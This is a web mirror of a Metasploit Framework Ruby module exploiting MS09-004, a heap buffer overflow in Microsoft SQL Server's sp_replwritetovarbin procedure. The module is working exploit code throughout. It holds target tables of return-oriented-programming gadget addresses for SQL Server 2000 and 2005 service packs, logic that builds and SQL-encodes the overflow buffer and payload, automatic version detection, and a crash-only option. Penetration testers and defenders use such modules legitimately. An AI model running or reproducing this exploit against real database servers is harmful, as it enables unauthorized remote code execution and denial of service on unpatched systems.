Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::MSSQL
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
16
'Description' => %q{
17
A heap-based buffer overflow can occur when calling the undocumented
18
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
19
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
20
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
21
Microsoft patched this vulnerability in SP3 for 2005 without any public
22
mention.
23
24
An authenticated database session is required to access the vulnerable code.
25
That said, it is possible to access the vulnerable code via an SQL injection
26
vulnerability.
27
28
This exploit smashes several pointers, as shown below.
29
30
1. pointer to a 32-bit value that is set to 0
31
2. pointer to a 32-bit value that is set to a length influenced by the buffer
32
length.
33
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
34
this value is referenced with a displacement of 0x38. For MSSQL 2005, the
35
displacement is 0x10. The address of our buffer is conveniently stored in
36
ecx when this instruction is executed.
37
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
38
a displacement of 4. This pointer is not used by this exploit.
39
40
This particular exploit replaces the previous dual-method exploit. It uses
41
a technique where the value contained in ecx becomes the stack. From there,
42
return oriented programming is used to normalize the execution state and
43
finally execute the payload via a "jmp esp". All addresses used were found
44
within the sqlservr.exe memory space, yielding very reliable code execution
45
using only a single query.
46
47
NOTE: The MSSQL server service does not automatically restart by default. That
48
said, some exceptions are caught and will not result in terminating the process.
49
If the exploit crashes the service prior to hijacking the stack, it won't die.
50
Otherwise, it's a goner.
51
},
52
'Author' => [ 'jduck' ],
53
'License' => MSF_LICENSE,
54
'References' => [
55
[ 'OSVDB', '50589' ],
56
[ 'CVE', '2008-5416' ],
57
[ 'BID', '32710' ],
58
[ 'MSB', 'MS09-004' ],
59
[ 'EDB', '7501' ]
60
],
61
'DefaultOptions' => {
62
'EXITFUNC' => 'seh',
63
},
64
'Payload' => {
65
'Space' => 512,
66
'BadChars' => "", # bad bytes get encoded!
67
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
68
'DisableNops' => true
69
},
70
'Platform' => 'win',
71
'Privileged' => true,
72
'Targets' => [
73
# auto targeting!
74
[ 'Automatic', {} ],
75
76
#
77
# Individual targets
78
#
79
[
80
# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
81
# Aug 6 2000 00:57:48
82
'MSSQL 2000 / MSDE SP0 (8.00.194)',
83
{
84
'Num' => 32, # value for "start_offset"
85
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
86
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
87
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
88
'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)
89
'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]
90
'Disp' => 0x08, # displacement on call [ecx+disp] used
91
'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret
92
'Popped' => 0x4, # byte count popped in above (before ret)
93
'Offset' => 0x28, # offset to the new stack!
94
'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)
95
'Ret' => 0x0041c9a2 # jmp esp
96
},
97
],
98
99
[
100
# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)
101
# May 23 2001 00:02:52
102
'MSSQL 2000 / MSDE SP1 (8.00.384)',
103
{
104
'Num' => 32, # value for "start_offset"
105
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
106
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
107
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
108
'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)
109
'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]
110
'Disp' => 0x34, # displacement on call [ecx+disp] used
111
'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
112
'Popped' => 0x8, # byte count popped in above (before ret)
113
'Offset' => 0x28, # offset to the new stack!
114
'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)
115
'Ret' => 0x004caa15 # jmp esp
116
},
117
],
118
119
[
120
# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
121
# Nov 19 2001 13:23:50
122
'MSSQL 2000 / MSDE SP2 (8.00.534)',
123
{
124
'Num' => 32, # value for "start_offset"
125
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
126
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
127
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
128
'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)
129
'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]
130
'Disp' => 0x34, # displacement on call [ecx+disp] used
131
'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
132
'Popped' => 0x8, # byte count popped in above (before ret)
133
'Offset' => 0x28, # offset to the new stack!
134
'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)
135
'Ret' => 0x004ca984 # jmp esp
136
},
137
],
138
139
[
140
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
141
# Dec 17 2002 14:22:05
142
'MSSQL 2000 / MSDE SP3 (8.00.760)',
143
{
144
'Num' => 32, # value for "start_offset"
145
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
146
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
147
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
148
'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)
149
'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]
150
'Disp' => 0x34, # displacement on call [ecx+disp] used
151
'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
152
'Popped' => 0x8, # byte count popped in above (before ret)
153
'Offset' => 0x28, # offset to the new stack!
154
'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)
155
'Ret' => 0x0043fa97 # jmp esp
156
},
157
],
158
159
[
160
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
161
# May 3 2005 23:18:38
162
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
163
{
164
'Num' => 32, # value for "start_offset"
165
'VtOff' => -13, # offset from 'Num' to smashed vtable ptr
166
'VtDisp' => 0x38, # displacement from call [eax+0x38] crash
167
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
168
'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)
169
'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]
170
'Disp' => 0x14, # displacement on call [ecx+disp] used
171
'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
172
'Popped' => 0x4, # byte count popped in above (before ret)
173
'Offset' => 0x20, # offset to the new stack!
174
'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)
175
'Ret' => 0x0047c89d # jmp esp
176
},
177
],
178
179
[
180
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
181
# Oct 14 2005 00:33:37
182
'MSSQL 2005 SP0 (9.00.1399.06)',
183
{
184
'Num' => 32, # value for "start_offset"
185
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
186
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
187
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
188
'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)
189
'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]
190
'Disp' => 0x50, # displacement on call [ecx+disp] used
191
'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret
192
'Popped' => 0x4, # byte count popped in above (before ret)
193
'Offset' => 0x20, # offset to the new stack!
194
'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)
195
'Ret' => 0x0112c2c7 # jmp esp
196
},
197
],
198
199
[
200
# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
201
# Apr 14 2006 01:12:25
202
'MSSQL 2005 SP1 (9.00.2047.00)',
203
{
204
'Num' => 32, # value for "start_offset"
205
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
206
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
207
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
208
'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)
209
'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]
210
'Disp' => 0x52, # displacement on call [ecx+disp] used
211
'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret
212
'Popped' => 0x4, # byte count popped in above (before ret)
213
'Offset' => 0x20, # offset to the new stack!
214
'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)
215
'Ret' => 0x011b204c # jmp esp
216
},
217
],
218
219
[
220
# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
221
# Feb 9 2007 22:47:07
222
'MSSQL 2005 SP2 (9.00.3042.00)',
223
{
224
'Num' => 32, # value for "start_offset"
225
'VtOff' => 63, # offset from 'Num' to smashed vtable ptr
226
'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash
227
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
228
'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)
229
'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]
230
'Disp' => 0x52, # displacement on call [ecx+disp] used
231
'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret
232
'Popped' => 0x4, # byte count popped in above (before ret)
233
'Offset' => 0x20, # offset to the new stack!
234
'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)
235
'Ret' => 0x010a5379 # jmp esp
236
},
237
],
238
239
[ 'CRASHER', {} ]
240
],
241
'DefaultTarget' => 0,
242
'DisclosureDate' => '2008-12-09',
243
'Notes' => {
244
'Reliability' => UNKNOWN_RELIABILITY,
245
'Stability' => UNKNOWN_STABILITY,
246
'SideEffects' => UNKNOWN_SIDE_EFFECTS
247
}
248
)
249
)
250
end
251
252
def check
253
# the ping to port 1434 method has two drawbacks...
254
# #1, it doesn't work on mssql 2005 or newer (localhost only listening)
255
# #2, it doesn't give an accurate version number (sp/os)
256
257
# since we need to have credentials for this vuln, we just login and run a query
258
# to get the version information
259
if not (version = mssql_query_version())
260
return Exploit::CheckCode::Safe
261
end
262
263
print_status("@@version returned:\n\t" + version)
264
265
# Any others?
266
return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/)
267
return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/)
268
return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/)
269
return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/)
270
return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/)
271
return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/)
272
return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/)
273
return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/)
274
275
return Exploit::CheckCode::Safe
276
end
277
278
def exploit
279
mytarget = nil
280
if target.name =~ /Automatic/
281
print_status("Attempting automatic target detection...")
282
283
version = mssql_query_version
284
fail_with(Failure::NoAccess, "Unable to retrieve version information") if not version
285
286
if (version =~ /8\.00\.194/)
287
mytarget = targets[1]
288
elsif (version =~ /8\.00\.384/)
289
mytarget = targets[2]
290
elsif (version =~ /8\.00\.534/)
291
mytarget = targets[3]
292
elsif (version =~ /8\.00\.760/)
293
mytarget = targets[4]
294
elsif (version =~ /8\.00\.2039/)
295
mytarget = targets[5]
296
elsif (version =~ /9\.00\.1399\.06/)
297
mytarget = targets[6]
298
elsif (version =~ /9\.00\.2047\.00/)
299
mytarget = targets[7]
300
elsif (version =~ /9\.00\.3042\.00/)
301
mytarget = targets[8]
302
end
303
304
if mytarget.nil?
305
fail_with(Failure::NoTarget, "Unable to determine target")
306
else
307
print_status("Automatically detected target \"#{mytarget.name}\"")
308
end
309
else
310
mytarget = target
311
end
312
313
sqlquery = %Q|declare @i int,@z nvarchar(4000)
314
set @z='declare @e int,@b varbinary,@l int;'
315
set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
316
exec sp_executesql @z|
317
318
# just crash it with a pattern buffer if the CRASHER target is selected..
319
if mytarget.name == 'CRASHER'
320
sploit = Rex::Text.pattern_create(2048)
321
print_status("Attempting to corrupt memory to cause an exception!")
322
num = 32
323
else
324
# trigger the memory corruption
325
num = mytarget['Num']
326
vt_off = mytarget['VtOff']
327
vt_disp = mytarget['VtDisp']
328
vtable = mytarget['Vtable']
329
ecx_disp = mytarget['Disp']
330
esp_off = mytarget['Offset']
331
hijack_esp = mytarget['ecx2esp']
332
first_esp = mytarget['Popped']
333
fix_esp = mytarget['FixESP']
334
writable = mytarget['Writable']
335
corruptable_bytes = 0x44
336
337
# make sploit buff
338
sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
339
# sploit = Rex::Text.pattern_create(sz)
340
sploit = rand_text_alphanumeric(sz)
341
342
# remove displacement! (using call [ecx+displacement])
343
vtable_off = (num + vt_off)
344
sploit[vtable_off, 4] = [(vtable - vt_disp)].pack('V')
345
346
# stack -> heap
347
hijack_off = vtable_off + ecx_disp
348
sploit[hijack_off, 4] = [hijack_esp].pack('V')
349
# becomes eax on mssql 2ksp4 (prevent crash)
350
sploit[(vtable_off - 4), 4] = [writable].pack('V')
351
352
# becomes eip after esp hijack
353
fixesp_off = vtable_off + first_esp
354
sploit[fixesp_off, 4] = [fix_esp].pack('V')
355
356
# rest of magic stack (disable DEP?)
357
stack_off = vtable_off + esp_off
358
stack = []
359
stack << mytarget['Ret']
360
stack = stack.pack('V*')
361
# jump over the stuff that gets corrupted
362
stack << "\xeb" + [corruptable_bytes].pack('C')
363
stack << rand_text_alphanumeric(corruptable_bytes)
364
stack << payload.encoded
365
sploit[stack_off, stack.length] = stack
366
367
# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
368
sploit[hijack_off, 4] = [hijack_esp].pack('V')
369
370
print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
371
end
372
373
# encode chars that get modified
374
enc = mssql_encode_string(sploit)
375
376
# put the number in (start offset)
377
runme = sqlquery.gsub(/%NUM%/, num.to_s)
378
runme.gsub!(/%STUFF%/, enc)
379
380
# go!
381
if !mssql_login_datastore
382
fail_with(Failure::NoAccess, "Unable to log in!")
383
end
384
begin
385
mssql_query(runme, datastore['VERBOSE'])
386
rescue ::Errno::ECONNRESET, EOFError
387
print_error("Error: #{$!}")
388
end
389
390
handler
391
disconnect
392
end
393
394
def mssql_str_to_chars(str)
395
ret = ""
396
str.unpack('C*').each do |ch|
397
ret += "+" if ret.length > 0
398
ret += "char("
399
ret << ch.to_s
400
ret += ")"
401
end
402
return ret
403
end
404
405
def mssql_encode_string(str)
406
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
407
408
enc = ""
409
in_str = true
410
str.unpack('C*').each do |ch|
411
# double-double single quotes
412
if ch == 0x27
413
if not in_str
414
enc << "+'"
415
in_str = true
416
end
417
enc << ch.chr * 4
418
next
419
end
420
421
# double backslashes
422
if ch == 0x5c
423
if not in_str
424
enc << "+'"
425
in_str = true
426
end
427
enc << ch.chr * 2
428
next
429
end
430
431
# convert any bad stuff to char(0xXX)
432
if ((idx = badchars.index(ch.chr)))
433
enc << "'" if in_str
434
enc << "+char(0x%x)" % ch
435
in_str = false
436
else
437
enc << "+'" if not in_str
438
enc << ch.chr
439
in_str = true
440
end
441
end
442
enc << "+'" if not in_str
443
return enc
444
end
445
446
def mssql_query_version
447
begin
448
logged_in = mssql_login_datastore
449
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
450
return nil
451
end
452
453
if !logged_in
454
fail_with(Failure::NoAccess, "Invalid SQL Server credentials")
455
end
456
res = mssql_query("select @@version", datastore['VERBOSE'])
457
disconnect
458
459
return nil if not res
460
461
if res[:errors] and not res[:errors].empty?
462
errstr = ""
463
res[:errors].each do |err|
464
errstr << err
465
end
466
fail_with(Failure::Unknown, errstr)
467
end
468
469
if not res[:rows] or res[:rows].empty?
470
return nil
471
end
472
473
return res[:rows][0][0]
474
end
475
end
476
477